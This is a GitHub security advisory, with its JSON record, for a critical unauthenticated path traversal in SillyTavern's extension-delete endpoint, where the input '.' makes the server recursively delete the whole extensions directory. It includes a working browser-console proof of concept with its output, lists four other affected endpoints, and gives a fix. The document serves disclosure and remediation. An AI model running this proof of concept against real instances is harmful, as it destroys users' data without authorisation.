GHSA-886Q-F44J-H6WH

Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-05-12 22:23
VLAI
Summary
SillyTavern has a Path Traversal issue
Details

Summary

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

// [1] "." is truthy — passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior).
path.join(basePath, "") returns basePath itself.
Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e
Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []

Impact

  • No authentication required (basicAuthMode: false by default).
    Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request.
  • All installed third-party extensions are unrecoverably lost.
  • With global: true and admin privileges, the global extensions directory shared across all users can also be deleted.
  • This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website.

Same Pattern in Other Endpoints

The same vulnerability exists in: - POST /api/extensions/update - POST /api/extensions/version - POST /api/extensions/branches - POST /api/extensions/switch

Suggested Fix

const sanitized = sanitize(extensionName);

// Check AFTER sanitizing
if (!sanitized) {
    return response.status(400).send('Bad Request: Invalid extension name.');
}

const extensionPath = path.join(basePath, sanitized);

// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
    return response.status(400).send('Bad Request: Invalid extension path.');
}

Apply the same fix to /update, /version, /branches, and /switch endpoints.

References

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
  • sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
  • Related CVE (same project): CVE-2025-59159

REPORTED BY

Jormungandr

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T22:23:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy \u2014 passes the check\nif (!request.body.extensionName) {\n    return response.status(400).send(\u0027Bad Request\u0027);\n}\n\n// [2] sanitize(\".\")  \u2192  \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\"  \u2190 basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior).  \n`path.join(basePath, \"\")` returns `basePath` itself.  \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e`  \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n    const { token } = await (await fetch(\u0027/csrf-token\u0027)).json();\n    const headers = {\n        \u0027Content-Type\u0027: \u0027application/json\u0027,\n        \u0027X-CSRF-Token\u0027: token,\n    };\n\n    // Before: 1 extension installed\n    const before = await (await fetch(\u0027/api/extensions/discover\u0027, { headers })).json();\n    console.log(\u0027Before:\u0027, before.filter(e =\u003e e.type === \u0027local\u0027));\n    // [{ type: \u0027local\u0027, name: \u0027third-party/Extension-Notebook\u0027 }]\n\n    // Attack\n    const res = await fetch(\u0027/api/extensions/delete\u0027, {\n        method: \u0027POST\u0027,\n        headers,\n        body: JSON.stringify({ extensionName: \u0027.\u0027 }),\n    });\n    console.log(\u0027Status:\u0027, res.status);      // 200\n    console.log(\u0027Body:\u0027, await res.text());  // \"Extension has been deleted at data\\default-user\\extensions\"\n\n    // After: empty\n    const after = await (await fetch(\u0027/api/extensions/discover\u0027, { headers })).json();\n    console.log(\u0027After:\u0027, after.filter(e =\u003e e.type === \u0027local\u0027));\n    // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: \u0027local\u0027, name: \u0027third-party/Extension-Notebook\u0027 }]\nStatus: 200\nBody:   Extension has been deleted at data\\default-user\\extensions\nAfter:  []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default).  \n  Any user with network access to the SillyTavern instance can permanently \n  delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n  shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n  enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n    return response.status(400).send(\u0027Bad Request: Invalid extension name.\u0027);\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n    return response.status(400).send(\u0027Bad Request: Invalid extension path.\u0027);\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr",
  "id": "GHSA-886q-f44j-h6wh",
  "modified": "2026-05-12T22:23:45Z",
  "published": "2026-05-12T22:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern has a Path Traversal issue"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…